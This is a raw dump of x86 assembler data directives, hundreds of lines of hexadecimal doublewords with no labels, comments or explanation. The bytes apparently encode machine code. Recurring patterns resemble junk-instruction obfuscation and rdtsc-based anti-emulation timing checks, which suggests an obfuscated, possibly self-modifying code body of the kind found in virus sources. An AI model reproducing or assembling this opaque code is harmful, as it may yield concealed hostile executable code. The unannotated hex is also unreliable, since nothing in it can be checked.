		dd 1B0A79B5h, 0C7858D06h, 6A061EC0h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 95C7C357h
		dd 6820FF8h, 8B000000h,	1B23B99Dh, 0C59D2906h, 89061B24h
		dd 0B886h, 95BD8B00h, 6A061B18h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 66B2103Ah
		dd 0B5FFDF8Bh, 61EAD99h, 11BDB531h, 95FF061Bh, 61B142Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 43C35343h
		dd 8166B316h, 508808D3h, 7735BB66h, 57243489h, 7E9h, 853B3800h
		dd 0CFEC209Eh, 99B5FF5Fh, 0F061EADh, 68Ah, 8BDF8100h, 0FF1BA0C8h
		dd 1B1B9195h, 8C0F06h, 83000000h, 1B0C81BDh, 840F0006h
		dd 47h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 8FC35646h, 0BD8BED77h, 61B1D1Dh, 10A5B529h, 0F96061Bh
		dd 48Eh, 5F535700h, 6660505Fh, 4FBAF18Bh, 617A4BF7h, 0C5958996h
		dd 0FF061B18h, 1EAD99B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0EF2097C8h
		dd 0DC9F6FA6h, 0D595FFC6h, 8B061B0Bh, 1B2AAD9Dh, 99B5FF06h
		dd 6A061EADh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B35C356h, 1B06219Dh, 995FF06h
		dd 0FC061B1Ah, 0D359D8Bh, 0BD83061Bh, 61B07A5h,	57840F02h
		dd 60000000h, 0EE9h, 0E0932F00h, 0B027D585h, 6DE89007h
		dd 318C8284h, 1B0CB9BDh, 858B6106h, 61B3031h, 3810Fh, 0B70F0000h
		dd 0F6BB66F9h, 0C6CEh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 84C35040h, 2956BAEFh,	1B2AF58Dh, 85C75F06h
		dd 61B2BD5h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1AC35646h
		dd 0DD851848h, 712CBCAAh, 0DD9D8952h, 5B061B20h, 0FFF3EBE9h
		dd 7E8FFh, 594B0000h, 3EBAEC1Dh, 26EB80E4h, 0FC18B5Fh
		dd 887h, 28C0F00h, 60000000h, 0ED858D61h, 0BF061B32h, 4E4E547h
		dd 10B9BD01h, 0E950061Bh, 0Bh, 0F5AF94DAh, 0EC68F275h
		dd 8963CF57h, 9D892404h, 61B12F9h, 1B7D9D8Bh, 6A061Bh
		dd 0C58745BFh, 66006A7Ch, 858DD88Bh, 61F6F2Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 71C35646h, 0E805C083h
		dd 14h,	14F5CC9Ah, 470CEF66h, 19261D5h,	0E50CF554h, 0B307D3Eh
		dd 10A9BD8Bh, 505F061Bh, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 5EA3C353h
		dd 0B286DC5Fh, 247DBD2Bh, 6A061Bh, 7E8h, 4B87300h, 0CB6827BDh
		dd 6A5FF9h, 2D9FC781h, 95FF0498h, 61B1A01h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 52C35242h, 2D03C2F4h
		dd 37EF8124h, 8D602E3Eh, 1E92B78Dh, 0FF92B706h,	83DA8BD1h
		dd 1B1CD5BDh, 850F0106h, 0C6h, 23919589h, 26A061Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D7C35646h, 85B9CC1Eh
		dd 65BD33A4h, 89061B10h, 1B20E58Dh, 0BE806h, 85320000h
		dd 0F24A046Fh, 86A94557h, 66905B25h, 501498BFh,	52505250h
		dd 310FFA8Bh, 5ADA8B66h, 60310F58h, 61F88B66h, 6A90585Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 7D1CC351h, 0CF816656h, 0BE935F6h,	1B000000h
		dd 9D31281Eh, 6D11A745h, 95FFEAB3h, 61B142Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5CC35747h, 3FAFFE01h
		dd 81BC95F3h, 0F059589h, 2AE9061Bh, 0E800000Dh,	0
		dd 37ED815Dh, 31061F6Fh, 1B03B195h, 0C2D78106h,	8D1F7583h
		dd 1E853D85h, 8B3DB306h, 1B2EDDBDh, 52505006h, 52505250h
		dd 585A310Fh, 58BF310Fh, 5A688974h, 0BB310F58h,	6620344Ch
		dd 489585Ah, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0F659D238h, 89522262h, 1B17AD8Dh
		dd 8D895F06h, 61B2415h,	35FF64h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 5A1C351h
		dd 628A6FABh, 0EE8h, 7E79EF00h,	9B418801h, 4C8BFFB1h, 66942A4Ah
		dd 5F511FBBh, 258964h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E8BFC352h
		dd 9, 1D7F0A73h, 7013762h, 0FD9D8BABh, 5B061B0Eh, 2B0D85FFh
		dd 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 2B1B69C3h, 0BCFF0CE7h, 6ECB8053h,	0E2816660h
		dd 0B58966E4h, 61B2DCDh, 6AFF6A61h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 88D6C356h
		dd 0FED3819Ch, 1449118h, 1B0EE1B5h, 99B5FF06h, 0B3061B03h
		dd 595FF56h, 0E9061B08h, 177h, 2F7DBD8Bh, 0BD31061Bh, 61B00ADh
		dd 858900B0h, 61B24B5h,	0E4FC70E6h, 0CE96071h, 0E7000000h
		dd 0C7502408h, 0BAA9C107h, 604C31C9h, 8F0Fh, 61610000h
		dd 830F613Ch, 13Bh, 0E8BCD780h,	14h, 738FF6DCh,	395D2597h
		dd 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0EE9h, 75115F00h
		dd 0E1FB36F6h, 0AE28350Ah, 5B7A13F7h, 0FC8B60Fh, 6BAD9B7h
		dd 0E8000000h, 0Bh, 9C41238Ah, 0B32535B9h, 5F74E5A2h, 8166C18Bh
		dd 0F6AB6F7h, 583h, 0CB816600h,	0E8C15F49h, 758D2904h
		dd 66061B18h, 0BE8E2F7h, 0B1000000h, 4B47523Ch,	0EEE72D8Ch
		dd 85894473h, 61B1925h,	0FC82B5Bh, 28Fh, 8B11B300h, 11E8D1h
		dd 21A80000h, 0E7626D86h, 25FD735Dh, 0E644128Bh, 520167CDh
		dd 5B5BDA8Bh, 2C0DBD8Bh, 3E9061Bh, 0F000000h, 858BFFBFh
		dd 61B2229h, 29F78166h,	7C08346h, 6810Fh, 0BD8B0000h, 61B064Dh
		dd 0E900C083h, 0Ah, 2147A8F2h, 0B2A0C26Bh, 0D03BA1DDh
		dd 0D830Fh, 0F7B70000h,	4AE9h, 0A1C78100h, 8B6F133Dh, 1B0ED98Dh
		dd 6D35BB06h, 0E18344AAh, 30840F01h, 8B000000h,	1B20F9BDh
		dd 6880F06h, 29000000h,	1B2B319Dh, 0D9A58306h, 0FE061B0Eh
		dd 2ACDBD8Bh, 9589061Bh, 61B2229h, 0D058589h, 0E9061Bh
		dd 8D000000h, 1EF4A7B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 18DF5CD8h, 9ED49292h
		dd 0E37AEB81h, 6A3C86h,	17E58589h, 95FF061Bh, 61B2205h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 3BC35343h
		dd 0D810C084h, 31C40807h, 1B18A995h, 8E1B906h, 9D090000h
		dd 61B1A51h, 2B019589h,	0E183061Bh, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 212B184h, 6AFCFCCCh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0FE96C352h, 8A27AF56h, 0B8D9h, 0BD890000h
		dd 61B0EDDh, 0BAh, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1504h, 0C3504000h, 9D8B41EAh, 61B30D5h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0A1C35242h, 64A6E2BDh, 1AD5467Eh, 62BB662Bh
		dd 19BD33FEh, 0F061B24h, 587h, 0E850BF00h, 880D5F57h, 33000000h
		dd 1B2609BDh, 29958B06h, 8B061B24h, 1B07658Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0C28B503Eh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0DDBFC352h, 5A6AE381h, 6A3487h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0B8010EC3h
		dd 0E37D0312h, 23ED8D31h, 0BD83061Bh, 61B1769h,	41840F00h
		dd 9000000h, 1B16A185h,	0B806h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 818106C3h
		dd 9FAD1E3h, 0D38D8D72h, 89061B4Ch, 1B12519Dh, 66E1FF06h
		dd 0B5E3D381h, 13D1BD83h, 0F00061Bh, 35C84h, 6870F00h
		dd 81000000h, 679A3CD3h, 0D1BD832Dh, 1061B13h, 35E840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 389AC3C3h, 2820F13h, 8B000000h, 0D1BD83FAh
		dd 3061B13h, 2F4860Fh, 9D230000h, 61B2E71h, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0FC366C0h, 8C66D9BFh, 9D0360D9h, 61B09A1h, 55852B60h
		dd 61061B1Bh, 4E18061h,	840FC90Ah, 0D5h, 145858Bh, 8166061Bh
		dd 3324E9CFh, 1B2A3185h, 0FDBD2906h, 90061B1Eh,	0FE850h
		dd 742A0000h, 3FB88CBh,	33920B34h, 52885CD3h, 0DF8B661Bh
		dd 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 2D1695C3h, 0ACC91F59h, 6A445A5Fh,	8E0F00h
		dd 0E8000000h, 4, 1F03FFh, 0E950DE8Ah, 11h, 8A147985h
		dd 3CAF2519h, 0CC67C2B0h, 7BCDB2B0h, 24448B20h,	89008B04h
		dd 0B3042444h, 9D23586Fh, 61B2231h, 323595FFh, 0BD03061Bh
		dd 61B2AADh, 0AD998589h, 9D0B061Eh, 61B1219h, 1B0E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8BBBBFC9h, 1B1B519Dh, 91858B06h, 6A061EADh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 159C351h, 3A39FAD1h,	0B58F680Bh, 1861BD8Bh, 0C7061Bh
		dd 18h,	0B3D9D8Bh, 0B58B061Bh, 61EAD95h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 5FC35242h, 7428EBD9h
		dd 0B1064BF1h, 0A58D297Ch, 8B061B12h, 1B122985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0FFA73326h, 409266E1h, 0C9BB3BCCh, 89013C6Fh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0B70F52FAh, 858B5FF8h, 61B0145h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 87C35242h, 446895Bh, 1B19D8Bh
		dd 5096061Bh, 96D98B66h, 89FFBF0Fh, 1B2D9D8Dh, 91B5FF06h
		dd 6A061EADh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 41B7C353h, 0B863CCA8h,	24259D89h
		dd 0D368061Bh, 5744A3CDh, 9E8h,	9C671200h, 77DB67E7h, 5F572F69h
		dd 34815B5Fh, 0BCCE2C24h, 0BE844h, 0E7560000h, 0D24C13B1h
		dd 7D62B365h, 7E9CCh, 97A80000h, 0EDB67300h, 858D5B83h
		dd 61EAD99h, 0E098D29h,	0BF50061Bh, 6B5E647Ah, 89240489h
		dd 1B2A3D95h, 3595FF06h, 89061B32h, 1B0A019Dh, 6A6106h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 9D0BE7C3h, 61B0BE9h, 13D185C7h
		dd 3061Bh, 0E3810000h, 76413C60h, 0AD99BD83h, 0F00061Eh
		dd 0D84h, 0E9F88B00h, 21h, 0AC98589h, 3050061Bh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 3800FC0h
		dd 66000000h, 6AFE8Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 502C0DC3h, 0DF8B66FFh, 13D1BD83h
		dd 0F03061Bh, 40585h, 0EEE38100h, 8306C756h, 1EAD99BDh
		dd 840F0006h, 3F2h, 0B5FFF88Bh,	61EAD99h, 1059BD03h, 95FF061Bh
		dd 61B0111h, 305DBD03h,	0B58B061Bh, 61EAD8Dh, 106C7F5h
		dd 6A000100h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0CE91C350h, 8ED2976Ah,	5036668Dh
		dd 0CE9h, 51E66000h, 43063DA7h,	7252E92Eh, 24348980h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DAC35646h, 58F460C5h
		dd 67DABB28h, 21BD8B54h, 0FF061B07h, 1EAD99B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0FDF22889h, 843B09EEh, 141B509h, 95FF061Bh, 61B1BC9h
		dd 60BB6650h, 0B58B5B42h, 61EAD8Dh, 0C859D8Bh, 5E8061Bh
		dd 6A000000h, 3BE73049h, 12E860h, 49A70000h, 2DFE8FCBh
		dd 0D09C22F1h, 0A2061A7Eh, 307B3D7Ah, 615E505Eh, 25858B5Fh
		dd 0BB061B0Dh, 5F17647Ah, 8689DF8Bh, 0C4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 78C35545h, 162E065Eh
		dd 7E91CB0h, 0B9000000h, 6A0238C3h, 958B0073h, 61B2429h
		dd 10E9h, 0E3696300h, 0EFFE41F5h, 6E86D014h, 3EF4EE2Eh
		dd 4C2837Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	7DC35545h, 0C444A809h, 0F481F52h, 0BF66DAB7h, 508948F6h
		dd 0C7816620h, 858D355Bh, 61EC0C7h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0B9C35343h,	0A6C45860h, 8B9CD966h
		dd 1B2B9D9Dh, 0B8868906h, 0E8000000h, 5, 0FD744458h, 63BB6670h
		dd 6A5B7Dh, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 16h,	0B5C35343h, 24BFF4DCh, 14E8228h, 1B06199Dh, 99B5FF06h
		dd 6A061EADh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4E61C356h, 0B771EACBh,	95FF9997h
		dd 61B142Dh, 0CE9h, 53AF0200h, 0C0939CBh, 9F1D0AD9h, 6650F5FAh
		dd 896878BFh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E9848FC3h, 6, 2ADD052Bh, 0B5FFAFEDh
		dd 61EAD99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	23C35545h, 1CBDB531h, 95FF061Bh, 61B1B91h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0DAC35545h, 12E9EFh
		dd 338D0000h, 0BB1FFB34h, 20EC0373h, 4D9DA96Ah,	3A0D05DBh
		dd 0C81BD83h, 0F00061Bh, 3C84h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 50FA8B51h
		dd 12E9h, 0EC281300h, 29622717h, 52A6F8B4h, 5D62D3B9h
		dd 892AF900h, 0D7802434h, 99B5FF9Ah, 0BF061EADh, 45B95FD9h
		dd 0BD595FFh, 8B66061Bh, 99B5FFDEh, 8B061EADh, 1B0E759Dh
		dd 995FF06h, 6A061B1Ah,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 5411C355h, 50C7E005h
		dd 0EE8h, 0B375BC00h, 0AC4A06F2h, 425ECD6h, 189D248h, 1B06F1BDh
		dd 835F5F06h, 1B07A5BDh, 840F0206h, 5Eh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 0D8C35141h, 481BF82Fh
		dd 8B66D7B3h, 31858BDAh, 8B061B30h, 1B09C1BDh, 0C606h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E3C35242h
		dd 405D2238h, 126661E1h, 10BD9D8Bh, 85C7061Bh, 61B2BD5h
		dd 0
		dd 0D35B589h, 52E9061Bh, 6AFFFFF4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 687AC355h
		dd 850F63A4h, 5, 610F31BFh, 6AC18B1Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F320C350h
		dd 3A5FCCA4h, 66566771h, 0D089D381h, 0ED858D5Bh, 6A061B32h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 40DAC356h, 0F9129C44h, 0C68B6050h, 61DE8B66h
		dd 8B240489h, 1B11ADBDh, 66006A06h, 0F0B17BFh, 6AFAB7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 86C35242h
		dd 6093DB13h, 0B58BDA8Bh, 61B1CA5h, 0AC858D61h,	6A061F7Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0DC3CC353h, 9509C44Dh, 61B1A79h, 0EE8h, 0FC4E9800h
		dd 2362517Bh, 0AC1E37D9h, 8BFF8A4Ah, 0B5895BD8h, 61B1EA9h
		dd 6A05C083h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 48ADC357h, 0F901B165h,	9D8941F9h
		dd 61B18D9h, 8B665052h,	505F5BF9h, 89D98B66h, 6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0DC1879C3h, 0E83033C9h, 13h,	43BA0BFCh, 98C63A42h, 0A1A8FCD5h
		dd 5D579A50h, 66351B63h, 895BDA8Bh, 1B31F5BDh, 6A006A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0B012C352h, 1B0AA7D8h, 0BE8F6B2h,	60000000h
		dd 0A6670C0Fh, 86977E97h, 6E9C58Bh, 6A000000h, 4515AD50h
		dd 6A5B6Fh, 0F8B5CF80h,	1A0195FFh, 6A061Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 927A49C3h
		dd 0CC05380Ch, 0B559D89h, 0CE9061Bh, 0F4000000h, 55721971h
		dd 1915695Dh, 8D22DE1Eh, 1E92B78Dh, 819D8B06h, 8B061B2Ch
		dd 1B25E99Dh, 51D1FF06h, 0BD835FF8h, 61B1CD5h, 76850F01h
		dd 80000000h, 0E957E4D7h, 0Fh, 0F8031F13h, 1E03C58Fh, 17B1C380h
		dd 5FA4A792h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 840F81C3h, 3, 50FAB70Fh,	78EEBB66h
		dd 66240489h, 42EDDF81h, 142D95FFh, 6A061Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8974CEC3h
		dd 1B130D9Dh, 0E46E906h, 0E80000h, 5D000000h, 7EB6ED81h
		dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 621142C3h, 3D858DF5h, 6A061E85h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 6D5DC352h, 13018D89h, 5090061Bh, 0FE8B6652h,	0BF57310Fh
		dd 0ADF19A1h, 50585A5Bh, 0D6B6BF66h, 8960F890h,	1B01EDBDh
		dd 58F0F06h, 66000000h,	0BD1C381h, 35FF6461h, 0
		dd 6880F57h, 81000000h,	0B36408C3h, 89645F58h, 25h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 4DA50DFEh, 50AD6D73h, 2B0D85FFh, 6A061Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0D7627DC3h
		dd 0F2F87003h, 6AFF6Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0F4B485C3h, 66A873Ch, 49B5FF72h
		dd 6A061B2Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 3A43C356h, 595FF9Dh, 0E9061B08h
		dd 110h, 118D8D89h, 0B0061Bh, 0E6C1DF80h, 0FE970h, 0C4680000h
		dd 2AB86936h, 0E652F57Ah, 3C84E733h, 0BF71E437h, 333E8412h
		dd 3CD1C380h, 0DD830F61h, 0F000000h, 681h, 71BD0100h, 0F061B0Bh
		dd 6BAC8B6h, 0F000000h,	18Ch, 0C18BF900h, 32819589h, 0E8C1061Bh
		dd 0F0D38004h, 0FE2F766h, 486h,	61605000h, 66C82B5Fh, 5C97C781h
		dd 0E9F5D18Bh, 6, 0AE18D89h, 858B061Bh,	61B033Dh, 0E2816660h
		dd 0BF0F9480h, 0C08361D7h, 7E907h, 4F990000h, 529DACC7h
		dd 0C0831Eh, 1E99589h, 0D03B061Bh, 1D830Fh, 9D230000h
		dd 61B1D31h, 57E9h, 0C810F00h, 60000000h, 0AB3ABE66h, 8D3EE681h
		dd 8B6114DBh, 1B0BE18Dh, 82C38106h, 8327661Ah, 840F01E1h
		dd 30h,	5870Fh,	2ABB0000h, 660B65F8h, 8308F8BFh, 1B0BE1A5h
		dd 0BD8BFE06h, 61B30D5h, 33D9589h, 6660061Bh, 834BEA81h
		dd 0E961C18Bh, 0
		dd 0FF94B58Dh, 6A061Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 340A06C3h, 31006AFCh, 1B2B9DBDh
		dd 595FF06h, 6A061B22h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0F51AC356h,	68C0Fh
		dd 0BD8B0000h, 61B0AADh, 8AEB9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0C00DDB15h
		dd 83DEBF0Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 24D77DC3h, 0BDFE9F41h, 3860FE9h
		dd 0F000000h, 6AFCFABFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 66B0C355h, 0C7A9EB81h
		dd 0B8h, 0E8F0F00h, 0E9000000h,	9, 0ED1E4629h, 4B23345Bh
		dd 0BA18h, 0BD8B0000h, 61B0155h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0F1C35545h, 6A4F5CA8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0BF3FC355h,	0DF698791h
		dd 912E5BCFh, 11198D09h, 0DE9061Bh, 0ED000000h,	0AC70F745h
		dd 1E462994h, 23345BEDh, 880Dh,	6890F00h, 81000000h, 803C7FD7h
		dd 29958B57h, 6A061B24h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 759C356h, 0EEFFDBBFh
		dd 658D8B33h, 6A061B07h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 15DCC356h, 6BEF5BFEh
		dd 8B9585A0h, 1B1ECDBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0CB5EC355h,	0DF0297DAh
		dd 0AE9h, 0F16E700h, 6FFEC162h,	8341CA27h, 1B1769BDh, 840F0006h
		dd 77h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
		dd 7CC35141h, 0BD8B5496h, 61B0015h, 0B8h, 2A98BB00h, 8D8D04FFh
		dd 61B4CD3h, 0F259D8Bh,	13E9061Bh, 84000000h, 63C6E795h
		dd 8B73C3FAh, 774FC930h, 4D94F02Dh, 0E1FFF86Ch,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 31C35545h, 5DE8B81h
		dd 83FC0E12h, 1B13D1BDh, 840F0006h, 3FAh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 65C35545h, 9444F8F2h
		dd 55953161h, 0E9061B18h, 6, 663CC5EEh,	0BD833607h, 61B13D1h
		dd 0D6840F01h, 52000003h, 25ADBD8Bh, 0E95F061Bh, 8, 8145BF53h
		dd 542B0A57h, 13D1BD83h, 0F03061Bh, 37E86h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0DAAD3F09h, 0BD8B6019h, 61B012Dh, 52D98C66h,	4E1805Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A5C35747h
		dd 6DF59743h, 1D8D294Fh, 0A061B13h, 21840FC9h, 0F000001h
		dd 0BD8BF9B7h, 61B1065h, 145858Bh, 9D03061Bh, 61B01D1h
		dd 2A318533h, 0ABBB061Bh, 50610827h, 11E956h, 263F0000h
		dd 0C455E309h, 32C59C4Dh, 5B8161C2h, 5BEB8EE8h,	0F240489h
		dd 0E8Dh, 9E900h, 23890000h, 6B9EFE0Eh,	6AB7F301h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 479BFF41h, 6CBF66BAh, 59FB680Ch, 11E9DFE5h, 0E000000h
		dd 53FEDDF1h, 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h, 4240481h
		dd 8B2039AAh, 1B119DBDh, 3595FF06h, 6A061B32h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0F6A6C353h, 619D8B61h, 89061B0Eh, 1EAD9985h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 37A9069h, 0FD78A3A5h, 40C3812Ch, 0E9292AE7h,	1CAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 13C35242h, 9D8B6F53h
		dd 61B10DDh, 0AD91858Bh, 0BF0F061Eh, 1800C7FAh,	8B000000h
		dd 1B2D519Dh, 95B58B06h, 6A061EADh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8043C350h
		dd 2C0EA1BEh, 0F51C0CBh, 189h, 0B70FF800h, 29858BDFh, 8B061B12h
		dd 1B19459Dh, 9DBD8B06h, 89061B08h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 99D036Ch, 8B061B30h
		dd 1B014585h, 5958906h,	89061B1Dh, 9D8B0446h, 61B0295h
		dd 6BBB6650h, 2434896Fh, 0FFFAB70Fh, 1EAD91B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0D5E389D4h, 4C687D15h, 8B74EB9Dh, 243481FAh,	74F49EB3h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 76C35545h
		dd 0D41B529h, 0AE9061Bh, 2F000000h, 8706B9FFh, 0E52AC544h
		dd 30BF660Ch, 99858DA6h, 6A061EADh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0CD66C355h
		dd 0CB314EE7h, 0E9D83C17h, 0Dh,	51AE5A69h, 70C773BFh, 0B7B0775Ch
		dd 5250908Ch, 310FFD8Ah, 277FBF66h, 5750585Ah, 6A905Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B498EFC3h, 95FF0999h, 61B3235h, 0E851006Ah,	3, 59C35920h
